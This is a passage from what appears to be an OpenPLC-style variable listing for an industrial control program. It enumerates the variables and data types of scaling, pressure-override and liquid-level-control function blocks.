+248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; 